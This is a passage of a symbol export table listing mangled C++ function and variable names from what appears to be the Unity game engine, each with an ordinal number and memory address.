?ThreadedCleanup@GlobalGameManager@@IAEXXZ	2566	0x554fb0
?ThreadedCleanup@LevelGameManager@@IAEXXZ	2567	0x554fb0
?ThreadedCleanup@Material@Unity@@IAEXXZ	2568	0x644410
?ThreadedCleanup@Mesh@@IAEXXZ	2569	0x4bf5b0
?ThreadedCleanup@MeshFilter@@IAEXXZ	2570	0x554fb0
?ThreadedCleanup@MonoManager@@IAEXXZ	2571	0x554fb0
?ThreadedCleanup@NamedObject@@IAEXXZ	2572	0x554fb0
?ThreadedCleanup@Object@@QAEXXZ	2573	0x554fb0
?ThreadedCleanup@RenderSettings@@IAEXXZ	2574	0x554fb0
?ThreadedCleanup@RenderTexture@@IAEXXZ	2575	0x515930
?ThreadedCleanup@Renderer@@IAEXXZ	2576	0x5135b0
?ThreadedCleanup@ScriptMapper@@IAEXXZ	2577	0x554fb0
?ThreadedCleanup@SkinnedMeshRenderer@@IAEXXZ	2578	0x4b6d20
?ThreadedCleanup@SparseTexture@@IAEXXZ	2579	0x565cb0
?ThreadedCleanup@Texture2D@@IAEXXZ	2580	0x560680
?ThreadedCleanup@Texture@@IAEXXZ	2581	0x554fb0
?ThreadedCleanup@Transform@@IAEXXZ	2582	0x554fb0
?TileUploadErrorCheck@SparseTexture@@ABE_NHHH@Z	2583	0x565b60
?TransferPtrImpl@BlobWrite@@AAEX_NPAUReduceCopyData@@I@Z	2584	0x636e50
?TransferTypeless@?$StreamedBinaryWrite@$00@@QAEXPAIPBDW4TransferMetaFlags@@@Z	2585	0x625bb0
?TransferTypeless@?$StreamedBinaryWrite@$0A@@@QAEXPAIPBDW4TransferMetaFlags@@@Z	2586	0x625b70
?TransferTypeless@ProxyTransfer@@QAEXPAIPBDW4TransferMetaFlags@@@Z	2587	0x623e80
?TransferTypeless@RemapPPtrTransfer@@QAEXPAIPBDW4TransferMetaFlags@@@Z	2588	0x53c2a0
?TransferTypeless@ReportScriptingObjectsTransfer@@QAEXPAIPBDW4TransferMetaFlags@@@Z	2589	0x53c2a0
?TransferTypeless@SafeBinaryRead@@QAEXPAIPBDW4TransferMetaFlags@@@Z	2590	0x625930
?TransferTypelessData@?$StreamedBinaryWrite@$00@@QAEXIPAXH@Z	2591	0x625b40
?TransferTypelessData@?$StreamedBinaryWrite@$0A@@@QAEXIPAXH@Z	2592	0x625b40
?TransferTypelessData@ProxyTransfer@@QAEXIPAXH@Z	2593	0x623b80
?TransferTypelessData@RemapPPtrTransfer@@QAEXIPAXW4TransferMetaFlags@@@Z	2594	0x53c2a0
?TransferTypelessData@ReportScriptingObjectsTransfer@@QAEXIPAXW4TransferMetaFlags@@@Z	2595	0x53c2a0
?TransferTypelessData@SafeBinaryRead@@QAEXIPAXH@Z	2596	0x624240
?TransformAABB@@YAXABVAABB@@ABVMatrix4x4f@@AAV1@@Z	2597	0x527380
?TransformChanged@Camera@@QAEXXZ	2598	0x453250
?TransformChanged@Renderer@@QAEXH@Z	2599	0x513870
?TransformDirection@Transform@@QBE?AVVector3f@@ABV2@@Z	2600	0x569260
?TransformParentHasChanged@GameObject@Unity@@QAEXXZ	2601	0x40fb80
?TransformPoint@Transform@@QBE?AVVector3f@@ABV2@@Z	2602	0x56a510
?TransformPointWithLocalOffset@Transform@@QBE?AVVector3f@@ABV2@0@Z	2603	0x56c2b0
?TransformPoints3x3@@YAXABVMatrix4x4f@@PBVVector3f@@IPAV2@IH@Z	2604	0x5a2060
?TransformPoints3x3@@YAXABVMatrix4x4f@@PBVVector3f@@PAV2@H@Z	2605	0x5a1af0
?TransformPoints3x4@@YAXABVMatrix4x4f@@PBVVector3f@@IPAV2@IH@Z	2606	0x5a25c0
?TransformPoints3x4@@YAXABVMatrix4x4f@@PBVVector3f@@PAV2@H@Z	2607	0x59fd20
?TransformVector@Transform@@QBE?AVVector3f@@ABV2@@Z	2608	0x569e10
?Translate@Matrix4x4f@@QAEAAV1@ABVVector3f@@@Z	2609	0x59ed50
?Transpose@Matrix3x3f@@QAEAAV1@XZ	2610	0x59e3d0
?Transpose@Matrix4x4f@@QAEAAV1@XZ	2611	0x5a2b40
?UnloadFromGfxDevice@Mesh@@QAEXXZ	2612	0x4c0d10
?UnloadFromGfxDevice@RenderTexture@@UAEX_N@Z	2613	0x5b1110
?UnloadFromGfxDevice@SkinnedMeshRenderer@@QAEXXZ	2614	0x4b74c0
?UnloadFromGfxDevice@SparseTexture@@MAEX_N@Z	2615	0x565c80
?UnloadFromGfxDevice@Texture2D@@MAEX_N@Z	2616	0x5606d0
?UnloadScriptAssemblies@MonoManager@@AAEXXZ	2617	0x545d70
?UnloadSystemAssemblies@MonoManager@@AAEXXZ	2618	0x545dc0
?Unregister@?$CallbackArrayBase@P6AXABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@AAVAwakeFromLoadQueue@@W4LoadingMode@LoadSceneOperation@@@Z@@QAEXP6AXABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@AAVAwakeFromLoadQueue@@W4LoadingMode@LoadSceneOperation@@@Z@Z	2619	0x9235a0
?Unregister@?$CallbackArrayBase@P6AXABVCamera@@@Z@@QAEXP6AXABVCamera@@@Z@Z	2620	0x9235a0
?Unregister@?$CallbackArrayBase@P6AXPAVCamera@@@Z@@QAEXP6AXPAVCamera@@@Z@Z	2621	0x9235a0
?Unregister@?$CallbackArrayBase@P6AXPBUIndexList@@PBURendererCullData@@@Z@@QAEXP6AXPBUIndexList@@PBURendererCullData@@@Z@Z	2622	0x9235a0
?Unregister@?$CallbackArrayBase@P6AXXZ@@QAEXP6AXXZ@Z	2623	0x9235a0
?UnshareMeshData@Mesh@@QAEXXZ	2624	0x4c7650
?UnshareTextureData@Texture2D@@QAEXXZ	2625	0x5620b0
?UnswizzleVertexColors@Mesh@@QAEX_N@Z	2626	0x4c2270
?Update@Behaviour@@UAEXXZ	2627	0x554fb0
?UpdateAABB@IntermediateRenderer@@UAEXXZ	2628	0x554fb0
?UpdateActiveGONode@GameObject@Unity@@QAEXXZ	2629	0x40f670
?UpdateAllChildrenOrders@Transform@@QAEXXZ	2630	0x554fb0
?UpdateAllRenderersInternal@Renderer@@SAXXZ	2631	0x5132c0
?UpdateAllSkinnedMeshes@SkinnedMeshRenderer@@SAXW4UpdateType@1@PAU?$dynamic_array@PAVSkinnedMeshRenderer@@$03@@@Z	2632	0x4b9fa0
?UpdateCachedMesh@SkinnedMeshRenderer@@QAEXXZ	2633	0x4b9db0
?UpdateClothData@SkinnedMeshRenderer@@QAEXXZ	2634	0x4b9c90
?UpdateDefaultReflection@RenderSettings@@AAEXXZ	2635	0x48abc0
?UpdateDepthTextures@Camera@@AAEXABUCullResults@@@Z	2636	0x45b4b0
?UpdateEnabledState@Behaviour@@AAEX_N@Z	2637	0x523160
?UpdateFinalAmbientProbe@RenderSettings@@AAEXXZ	2638	0x48ae40
?UpdateHashes@Material@Unity@@AAEXXZ	2639	0x645ac0
?UpdateHashesIfNeeded@Material@Unity@@QAEXXZ	2640	0x417fd0
?UpdateHashesOnPropertyChange@Material@Unity@@AAEXUFastPropertyName@ShaderLab@@@Z	2641	0x645a60
?UpdateImageData@Texture2D@@UAEXXZ	2642	0x560800
?UpdateImageDataDontTouchMipmap@Texture2D@@UAEXXZ	2643	0x560820
?UpdateLODGroup@Renderer@@QAEXXZ	2644	0x512e20
?UpdateLocalAABB@Renderer@@UAEXXZ	2645	0x554fb0
?UpdateManagerState@Renderer@@IAEX_N@Z	2646	0x512d90
?UpdatePOTStatus@Texture2D@@AAEXXZ	2647	0x560ec0
?UpdatePriority@PlatformThread@@IBEXPBVThread@@@Z	2648	0x654e40
?UpdateRenderer@Renderer@@MAEXXZ	2649	0x512f50
?UpdateRenderer@SkinnedMeshRenderer@@MAEXXZ	2650	0x4b7a40
?UpdateRootMapOrder@Transform@@AAEXXZ	2651	0x554fb0
?UpdateSceneHandle@Renderer@@IAEXXZ	2652	0x512ea0
?UpdateSubMeshVertexRange@Mesh@@QAEXH@Z	2653	0x4c0bd0
?UpdateTexelSize@RenderTexture@@AAEXXZ	2654	0x515770
?UpdateTransformInfo@IntermediateRenderer@@UAEXXZ	2655	0x554fb0
?UpdateTransformInfo@Renderer@@UAEXXZ	2656	0x514710
?UpdateTransformInfo@SkinnedMeshRenderer@@UAEXXZ	2657	0x4ba4c0
?UpdateVertexFormat@Mesh@@QAEXXZ	2658	0x4c31b0
?UpdateVisibleSkinnedMeshQueue@SkinnedMeshRenderer@@IAEX_N@Z	2659	0x4b7290
?UploadCloths@SkinnedMeshRenderer@@SAXABU?$dynamic_array@PAVSkinnedMeshRenderer@@$03@@@Z	2660	0x4b89d0
?UploadMeshData@Mesh@@QAEX_N@Z	2661	0x4cdbe0
?UploadTexture@Texture2D@@MAEX_N@Z	2662	0x562950
?UploadTile@SparseTexture@@QAEXHHHPBEI@Z	2663	0x565d90
?UploadTileColor32@SparseTexture@@QAEXHHHPBVColorRGBA32@@I@Z	2664	0x565ff0
?UploadToGfxDevice@RenderTexture@@UAEXXZ	2665	0x554fb0
?UploadToGfxDevice@SparseTexture@@MAEXXZ	2666	0x554fb0
?UploadToGfxDevice@Texture2D@@MAEXXZ	2667	0x5606f0
?Use64BitOffsetPtr@BlobWrite@@ABE_NXZ	2668	0x5c9010
?ValidateLinks@ListElement@@ABEXXZ	2669	0x554fb0
?ValidateRegisteredClassID@@YAXAAUClassRegistrationContext@@HPBD@Z	2670	0x554fb0
?ValidateSerializedLayout@BlobWrite@@AAEXPBXPBD@Z	2671	0x54d620
?ValidateVertexCount@Mesh@@QAE_NIPBXI@Z	2672	0x4c0c40
?VerifyBoneIndices@Mesh@@QAE_NI@Z	2673	0x4c01b0
?VertexDataHasChanged@CollisionMeshData@@QAEXXZ	2674	0x4b16a0
?ViewportPointToRay@Camera@@QBE?AVRay@@ABVVector2f@@@Z	2675	0x45ba70
?ViewportToCameraPoint@Camera@@QBE?AVVector3f@@ABV2@@Z	2676	0x455210
?ViewportToScreenPoint@Camera@@QBE?AVVector3f@@ABV2@@Z	2677	0x459390
?ViewportToWorldPoint@Camera@@QBE?AVVector3f@@ABV2@@Z	2678	0x45b9f0
?VirtualRedirectTransfer@Behaviour@@UAEXAAV?$StreamedBinaryRead@$00@@@Z	2679	0x523580
?VirtualRedirectTransfer@Behaviour@@UAEXAAV?$StreamedBinaryRead@$0A@@@@Z	2680	0x523820
?VirtualRedirectTransfer@Behaviour@@UAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	2681	0x5235d0
?VirtualRedirectTransfer@Behaviour@@UAEXAAVProxyTransfer@@@Z	2682	0x5237b0
?VirtualRedirectTransfer@Behaviour@@UAEXAAVRemapPPtrTransfer@@@Z	2683	0x5233b0
?VirtualRedirectTransfer@Behaviour@@UAEXAAVSafeBinaryRead@@@Z	2684	0x5239f0
?VirtualRedirectTransfer@Camera@@UAEXAAV?$StreamedBinaryRead@$00@@@Z	2685	0x45c2a0
?VirtualRedirectTransfer@Camera@@UAEXAAV?$StreamedBinaryRead@$0A@@@@Z	2686	0x45c290
?VirtualRedirectTransfer@Camera@@UAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	2687	0x45c2b0
?VirtualRedirectTransfer@Camera@@UAEXAAVProxyTransfer@@@Z	2688	0x45c250
?VirtualRedirectTransfer@Camera@@UAEXAAVRemapPPtrTransfer@@@Z	2689	0x459d00
?VirtualRedirectTransfer@Camera@@UAEXAAVSafeBinaryRead@@@Z	2690	0x45d280
?VirtualRedirectTransfer@Component@Unity@@UAEXAAV?$StreamedBinaryRead@$00@@@Z	2691	0x4113a0
?VirtualRedirectTransfer@Component@Unity@@UAEXAAV?$StreamedBinaryRead@$0A@@@@Z	2692	0x411370
?VirtualRedirectTransfer@Component@Unity@@UAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	2693	0x4113d0
?VirtualRedirectTransfer@Component@Unity@@UAEXAAVProxyTransfer@@@Z	2694	0x411c40
?VirtualRedirectTransfer@Component@Unity@@UAEXAAVRemapPPtrTransfer@@@Z	2695	0x5233b0
?VirtualRedirectTransfer@Component@Unity@@UAEXAAVSafeBinaryRead@@@Z	2696	0x412030
?VirtualRedirectTransfer@GameObject@Unity@@UAEXAAV?$StreamedBinaryRead@$00@@@Z	2697	0x4125f0
?VirtualRedirectTransfer@GameObject@Unity@@UAEXAAV?$StreamedBinaryRead@$0A@@@@Z	2698	0x4125e0
?VirtualRedirectTransfer@GameObject@Unity@@UAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	2699	0x412600
?VirtualRedirectTransfer@GameObject@Unity@@UAEXAAVProxyTransfer@@@Z	2700	0x412b00
?VirtualRedirectTransfer@GameObject@Unity@@UAEXAAVRemapPPtrTransfer@@@Z	2701	0x4123f0
?VirtualRedirectTransfer@GameObject@Unity@@UAEXAAVSafeBinaryRead@@@Z	2702	0x412d50
?VirtualRedirectTransfer@GlobalGameManager@@UAEXAAV?$StreamedBinaryRead@$00@@@Z	2703	0x417580
?VirtualRedirectTransfer@GlobalGameManager@@UAEXAAV?$StreamedBinaryRead@$0A@@@@Z	2704	0x417580
?VirtualRedirectTransfer@GlobalGameManager@@UAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	2705	0x417580
?VirtualRedirectTransfer@GlobalGameManager@@UAEXAAVProxyTransfer@@@Z	2706	0x40dea0
?VirtualRedirectTransfer@GlobalGameManager@@UAEXAAVRemapPPtrTransfer@@@Z	2707	0x417580
?VirtualRedirectTransfer@GlobalGameManager@@UAEXAAVSafeBinaryRead@@@Z	2708	0x40df40
?VirtualRedirectTransfer@LevelGameManager@@UAEXAAV?$StreamedBinaryRead@$00@@@Z	2709	0x417580
?VirtualRedirectTransfer@LevelGameManager@@UAEXAAV?$StreamedBinaryRead@$0A@@@@Z	2710	0x417580
?VirtualRedirectTransfer@LevelGameManager@@UAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	2711	0x417580
?VirtualRedirectTransfer@LevelGameManager@@UAEXAAVProxyTransfer@@@Z	2712	0x40de60
?VirtualRedirectTransfer@LevelGameManager@@UAEXAAVRemapPPtrTransfer@@@Z	2713	0x417580
?VirtualRedirectTransfer@LevelGameManager@@UAEXAAVSafeBinaryRead@@@Z	2714	0x40dee0
?VirtualRedirectTransfer@Material@Unity@@UAEXAAV?$StreamedBinaryRead@$00@@@Z	2715	0x64a640
?VirtualRedirectTransfer@Material@Unity@@UAEXAAV?$StreamedBinaryRead@$0A@@@@Z	2716	0x64a630
?VirtualRedirectTransfer@Material@Unity@@UAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	2717	0x64a5d0
?VirtualRedirectTransfer@Material@Unity@@UAEXAAVProxyTransfer@@@Z	2718	0x64a5f0
?VirtualRedirectTransfer@Material@Unity@@UAEXAAVRemapPPtrTransfer@@@Z	2719	0x64a5e0
?VirtualRedirectTransfer@Material@Unity@@UAEXAAVSafeBinaryRead@@@Z	2720	0x64a910
?VirtualRedirectTransfer@Mesh@@UAEXAAV?$StreamedBinaryRead@$00@@@Z	2721	0x4d22f0
?VirtualRedirectTransfer@Mesh@@UAEXAAV?$StreamedBinaryRead@$0A@@@@Z	2722	0x4d22e0
?VirtualRedirectTransfer@Mesh@@UAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	2723	0x4d18a0
?VirtualRedirectTransfer@Mesh@@UAEXAAVProxyTransfer@@@Z	2724	0x4d1860
?VirtualRedirectTransfer@Mesh@@UAEXAAVRemapPPtrTransfer@@@Z	2725	0x4d18b0
?VirtualRedirectTransfer@Mesh@@UAEXAAVSafeBinaryRead@@@Z	2726	0x4d2300
?VirtualRedirectTransfer@MeshFilter@@UAEXAAV?$StreamedBinaryRead@$00@@@Z	2727	0x8c9080
?VirtualRedirectTransfer@MeshFilter@@UAEXAAV?$StreamedBinaryRead@$0A@@@@Z	2728	0x8c9060
?VirtualRedirectTransfer@MeshFilter@@UAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	2729	0x4d28c0
?VirtualRedirectTransfer@MeshFilter@@UAEXAAVProxyTransfer@@@Z	2730	0x4d2860
?VirtualRedirectTransfer@MeshFilter@@UAEXAAVRemapPPtrTransfer@@@Z	2731	0x4d2810
?VirtualRedirectTransfer@MeshFilter@@UAEXAAVSafeBinaryRead@@@Z	2732	0x4d2950
?VirtualRedirectTransfer@MonoManager@@UAEXAAV?$StreamedBinaryRead@$00@@@Z	2733	0x5497f0
?VirtualRedirectTransfer@MonoManager@@UAEXAAV?$StreamedBinaryRead@$0A@@@@Z	2734	0x5497b0
?VirtualRedirectTransfer@MonoManager@@UAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	2735	0x549450
?VirtualRedirectTransfer@MonoManager@@UAEXAAVProxyTransfer@@@Z	2736	0x549410
?VirtualRedirectTransfer@MonoManager@@UAEXAAVRemapPPtrTransfer@@@Z	2737	0x549490
?VirtualRedirectTransfer@MonoManager@@UAEXAAVSafeBinaryRead@@@Z	2738	0x549830
?VirtualRedirectTransfer@NamedObject@@UAEXAAV?$StreamedBinaryRead@$00@@@Z	2739	0x417490
?VirtualRedirectTransfer@NamedObject@@UAEXAAV?$StreamedBinaryRead@$0A@@@@Z	2740	0x417520
?VirtualRedirectTransfer@NamedObject@@UAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	2741	0x417550
?VirtualRedirectTransfer@NamedObject@@UAEXAAVProxyTransfer@@@Z	2742	0x4174c0
?VirtualRedirectTransfer@NamedObject@@UAEXAAVRemapPPtrTransfer@@@Z	2743	0x417580
?VirtualRedirectTransfer@NamedObject@@UAEXAAVSafeBinaryRead@@@Z	2744	0x417590
?VirtualRedirectTransfer@Object@@UAEXAAV?$StreamedBinaryRead@$00@@@Z	2745	0x5b1110
?VirtualRedirectTransfer@Object@@UAEXAAV?$StreamedBinaryRead@$0A@@@@Z	2746	0x5b1110
?VirtualRedirectTransfer@Object@@UAEXAAV?$StreamedBinaryWrite@$00@@@Z	2747	0x5b1110
?VirtualRedirectTransfer@Object@@UAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	2748	0x5b1110
?VirtualRedirectTransfer@Object@@UAEXAAVProxyTransfer@@@Z	2749	0x5b1110
?VirtualRedirectTransfer@Object@@UAEXAAVRemapPPtrTransfer@@@Z	2750	0x5b1110
?VirtualRedirectTransfer@Object@@UAEXAAVSafeBinaryRead@@@Z	2751	0x5b1110
?VirtualRedirectTransfer@RenderSettings@@UAEXAAV?$StreamedBinaryRead@$00@@@Z	2752	0x48c030
?VirtualRedirectTransfer@RenderSettings@@UAEXAAV?$StreamedBinaryRead@$0A@@@@Z	2753	0x48c020
?VirtualRedirectTransfer@RenderSettings@@UAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	2754	0x48c040
?VirtualRedirectTransfer@RenderSettings@@UAEXAAVProxyTransfer@@@Z	2755	0x48bfe0
?VirtualRedirectTransfer@RenderSettings@@UAEXAAVRemapPPtrTransfer@@@Z	2756	0x48b520
?VirtualRedirectTransfer@RenderSettings@@UAEXAAVSafeBinaryRead@@@Z	2757	0x48c050
?VirtualRedirectTransfer@RenderTexture@@UAEXAAV?$StreamedBinaryRead@$00@@@Z	2758	0x518270
?VirtualRedirectTransfer@RenderTexture@@UAEXAAV?$StreamedBinaryRead@$0A@@@@Z	2759	0x518260
?VirtualRedirectTransfer@RenderTexture@@UAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	2760	0x518280
?VirtualRedirectTransfer@RenderTexture@@UAEXAAVProxyTransfer@@@Z	2761	0x518220
?VirtualRedirectTransfer@RenderTexture@@UAEXAAVRemapPPtrTransfer@@@Z	2762	0x517eb0
?VirtualRedirectTransfer@RenderTexture@@UAEXAAVSafeBinaryRead@@@Z	2763	0x5182b0
?VirtualRedirectTransfer@Renderer@@UAEXAAV?$StreamedBinaryRead@$00@@@Z	2764	0x514ab0
?VirtualRedirectTransfer@Renderer@@UAEXAAV?$StreamedBinaryRead@$0A@@@@Z	2765	0x514aa0
?VirtualRedirectTransfer@Renderer@@UAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	2766	0x514ac0
?VirtualRedirectTransfer@Renderer@@UAEXAAVProxyTransfer@@@Z	2767	0x514e80
?VirtualRedirectTransfer@Renderer@@UAEXAAVRemapPPtrTransfer@@@Z	2768	0x732560
?VirtualRedirectTransfer@Renderer@@UAEXAAVSafeBinaryRead@@@Z	2769	0x514ec0
?VirtualRedirectTransfer@ScriptMapper@@UAEXAAV?$StreamedBinaryRead@$00@@@Z	2770	0x64ef40
?VirtualRedirectTransfer@ScriptMapper@@UAEXAAV?$StreamedBinaryRead@$0A@@@@Z	2771	0x64eee0
?VirtualRedirectTransfer@ScriptMapper@@UAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	2772	0x64ee40
?VirtualRedirectTransfer@ScriptMapper@@UAEXAAVProxyTransfer@@@Z	2773	0x64ee00
?VirtualRedirectTransfer@ScriptMapper@@UAEXAAVRemapPPtrTransfer@@@Z	2774	0x64eea0
?VirtualRedirectTransfer@ScriptMapper@@UAEXAAVSafeBinaryRead@@@Z	2775	0x64efa0
?VirtualRedirectTransfer@SkinnedMeshRenderer@@UAEXAAV?$StreamedBinaryRead@$00@@@Z	2776	0x4bafa0
?VirtualRedirectTransfer@SkinnedMeshRenderer@@UAEXAAV?$StreamedBinaryRead@$0A@@@@Z	2777	0x4baf90
?VirtualRedirectTransfer@SkinnedMeshRenderer@@UAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	2778	0x4bafb0
?VirtualRedirectTransfer@SkinnedMeshRenderer@@UAEXAAVProxyTransfer@@@Z	2779	0x4bb1c0
?VirtualRedirectTransfer@SkinnedMeshRenderer@@UAEXAAVRemapPPtrTransfer@@@Z	2780	0x4b9da0
?VirtualRedirectTransfer@SkinnedMeshRenderer@@UAEXAAVSafeBinaryRead@@@Z	2781	0x4bb200
?VirtualRedirectTransfer@SparseTexture@@UAEXAAV?$StreamedBinaryRead@$00@@@Z	2782	0x566b20
?VirtualRedirectTransfer@SparseTexture@@UAEXAAV?$StreamedBinaryRead@$0A@@@@Z	2783	0x566b10
?VirtualRedirectTransfer@SparseTexture@@UAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	2784	0x566b30
?VirtualRedirectTransfer@SparseTexture@@UAEXAAVProxyTransfer@@@Z	2785	0x566ad0
?VirtualRedirectTransfer@SparseTexture@@UAEXAAVRemapPPtrTransfer@@@Z	2786	0x517eb0
?VirtualRedirectTransfer@SparseTexture@@UAEXAAVSafeBinaryRead@@@Z	2787	0x566b40
?VirtualRedirectTransfer@Texture2D@@UAEXAAV?$StreamedBinaryRead@$00@@@Z	2788	0x563f40
?VirtualRedirectTransfer@Texture2D@@UAEXAAV?$StreamedBinaryRead@$0A@@@@Z	2789	0x563f30
?VirtualRedirectTransfer@Texture2D@@UAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	2790	0x563f50
?VirtualRedirectTransfer@Texture2D@@UAEXAAVProxyTransfer@@@Z	2791	0x563ef0
?VirtualRedirectTransfer@Texture2D@@UAEXAAVRemapPPtrTransfer@@@Z	2792	0x5630c0
?VirtualRedirectTransfer@Texture2D@@UAEXAAVSafeBinaryRead@@@Z	2793	0x564440
?VirtualRedirectTransfer@Texture@@UAEXAAV?$StreamedBinaryRead@$00@@@Z	2794	0x875be0
?VirtualRedirectTransfer@Texture@@UAEXAAV?$StreamedBinaryRead@$0A@@@@Z	2795	0x55f660
?VirtualRedirectTransfer@Texture@@UAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	2796	0x7e7740
?VirtualRedirectTransfer@Texture@@UAEXAAVProxyTransfer@@@Z	2797	0x55fb80
?VirtualRedirectTransfer@Texture@@UAEXAAVRemapPPtrTransfer@@@Z	2798	0x55f670
?VirtualRedirectTransfer@Texture@@UAEXAAVSafeBinaryRead@@@Z	2799	0x55fbc0
?VirtualRedirectTransfer@Transform@@UAEXAAV?$StreamedBinaryRead@$00@@@Z	2800	0x570bf0
?VirtualRedirectTransfer@Transform@@UAEXAAV?$StreamedBinaryRead@$0A@@@@Z	2801	0x570bd0
?VirtualRedirectTransfer@Transform@@UAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	2802	0x570c10
?VirtualRedirectTransfer@Transform@@UAEXAAVProxyTransfer@@@Z	2803	0x570d30
?VirtualRedirectTransfer@Transform@@UAEXAAVRemapPPtrTransfer@@@Z	2804	0x5708c0
?VirtualRedirectTransfer@Transform@@UAEXAAVSafeBinaryRead@@@Z	2805	0x570e60
?WaitForExit@Thread@@QAEX_N@Z	2806	0x654260
?WaitForJobGroup@JobQueue@@QAEXUJobGroupID@@@Z	2807	0x653930
?Wake@JobQueue@@QAEXI@Z	2808	0x653340
?Walk@SafeBinaryRead@@AAEXABVTypeTreeIterator@@PAH@Z	2809	0x6243f0
?WeldVertexArray@@YA_NAAU?$dynamic_array@VVector3f@@$03@@AAU?$dynamic_array@G$01@@1@Z	2810	0x5cc0f0
?WeldVertexArray@@YA_NAAU?$dynamic_array@VVector3f@@$03@@AAU?$dynamic_array@UBoneInfluence@@$0BA@@@AAU?$dynamic_array@G$01@@2@Z	2811	0x5cbdb0
?Width@?$RectT@H@@QBEHXZ	2812	0x4b1be0
?Width@?$RectT@M@@QBEMXZ	2813	0x43b790
?WillDestroyComponent@Component@Unity@@UAEXXZ	2814	0x554fb0
?WillDestroyGameObject@GameObject@Unity@@QAEXXZ	2815	0x40e8f0
?WillHandleMessage@GameObject@Unity@@QAE_NABVMessageIdentifier@@@Z	2816	0x40ec10
?WindowSizeHasChanged@Camera@@QAEXXZ	2817	0x45bc70
?WorkLoop@JobQueue@@CAPAXPAX@Z	2818	0x653910
?WorldToScreenPoint@Camera@@QBE?AVVector3f@@ABV2@PA_N@Z	2819	0x4590c0
?WorldToViewportPoint@Camera@@QBE?AVVector3f@@ABV2@@Z	2820	0x45b980
?WrapTime@?$AnimationCurveTpl@M@@ABEMM@Z	2821	0x5a9f60
?WrapTime@?$AnimationCurveTpl@VQuaternionf@@@@ABEMM@Z	2822	0x5aa0d0
?WrapTime@?$AnimationCurveTpl@VVector3f@@@@ABEMM@Z	2823	0x5aa010
?WritePtrValueAtLocation@BlobWrite@@AAEXI_J@Z	2824	0x636ac0
?begin@?$AnimationCurveTpl@M@@QAEPAU?$KeyframeTpl@M@@XZ	2825	0x5b1120
?begin@?$AnimationCurveTpl@M@@QBEPBU?$KeyframeTpl@M@@XZ	2826	0x5b1120
?begin@?$AnimationCurveTpl@VQuaternionf@@@@QAEPAU?$KeyframeTpl@VQuaternionf@@@@XZ	2827	0x84e460
?begin@?$AnimationCurveTpl@VQuaternionf@@@@QBEPBU?$KeyframeTpl@VQuaternionf@@@@XZ	2828	0x84e460
?begin@?$AnimationCurveTpl@VVector3f@@@@QAEPAU?$KeyframeTpl@VVector3f@@@@XZ	2829	0x875ea0
?begin@?$AnimationCurveTpl@VVector3f@@@@QBEPBU?$KeyframeTpl@VVector3f@@@@XZ	2830	0x875ea0
?begin@Transform@@QAEPAV?$ImmediatePtr@VTransform@@@@XZ	2831	0x40e830
?calloc_internal@@YAPAXIIHUMemLabelId@@HPBDH@Z	2832	0x402b00
?end@?$AnimationCurveTpl@M@@QAEPAU?$KeyframeTpl@M@@XZ	2833	0x5a8cd0
?end@?$AnimationCurveTpl@M@@QBEPBU?$KeyframeTpl@M@@XZ	2834	0x5a8cd0
?end@?$AnimationCurveTpl@VQuaternionf@@@@QAEPAU?$KeyframeTpl@VQuaternionf@@@@XZ	2835	0x84e470
?end@?$AnimationCurveTpl@VQuaternionf@@@@QBEPBU?$KeyframeTpl@VQuaternionf@@@@XZ	2836	0x84e470
?end@?$AnimationCurveTpl@VVector3f@@@@QAEPAU?$KeyframeTpl@VVector3f@@@@XZ	2837	0x84e480
?end@?$AnimationCurveTpl@VVector3f@@@@QBEPBU?$KeyframeTpl@VVector3f@@@@XZ	2838	0x84e480
?end@Transform@@QAEPAV?$ImmediatePtr@VTransform@@@@XZ	2839	0x40e840
?epsilon@Vector3f@@2MB	2840	0x10287bc
?free_alloc_internal@@YAXPAXUMemLabelId@@@Z	2841	0x402230
?gCalculateAnimatorSkinMatricesFunc@@3P6AXPAUCalculateSkinMatricesTask@@@ZA	2842	0x1253b00
?gPlayerLoopCallbacks@@3UPlayerLookCallbacks@@A	2843	0x1252700
?g_GroupPool@JobQueue@@0PAVAtomicStack@@A	2844	0x12550a8
?g_JobPool@JobQueue@@0PAVAtomicStack@@A	2845	0x12550ac
?identity@Matrix3x3f@@2V1@B	2846	0x1253e54
?identity@Matrix4x4f@@2V1@B	2847	0x1253ea0
?infinity@Vector3f@@2MB	2848	0x1254068
?infinityVec@Vector3f@@2V1@B	2849	0x125406c
?kAnimatorIK@@3VMessageIdentifier@@A	2850	0x11fc354
?kAnimatorMove@@3VMessageIdentifier@@A	2851	0x11fc32c
?kAnimatorMoveBuiltin@@3VMessageIdentifier@@A	2852	0x11fc340
?kBecameInvisible@@3VMessageIdentifier@@A	2853	0x11fc2b4
?kBecameVisible@@3VMessageIdentifier@@A	2854	0x11fc2a0
?kBeforeTransformParentChanged@@3VMessageIdentifier@@A	2855	0x11fc1b0
?kCanvasGroupChanged@@3VMessageIdentifier@@A	2856	0x11fc5ac
?kCanvasHierarchyChanged@@3VMessageIdentifier@@A	2857	0x11fc5c0
?kChangeAudioMixerBypassGroupEffects@@3VMessageIdentifier@@A	2858	0x11fc55c
?kChangeAudioMixerBypassSingleEffect@@3VMessageIdentifier@@A	2859	0x11fc570
?kChangeAudioMixerFloat@@3VMessageIdentifier@@A	2860	0x11fc520
?kChangeAudioMixerMute@@3VMessageIdentifier@@A	2861	0x11fc534
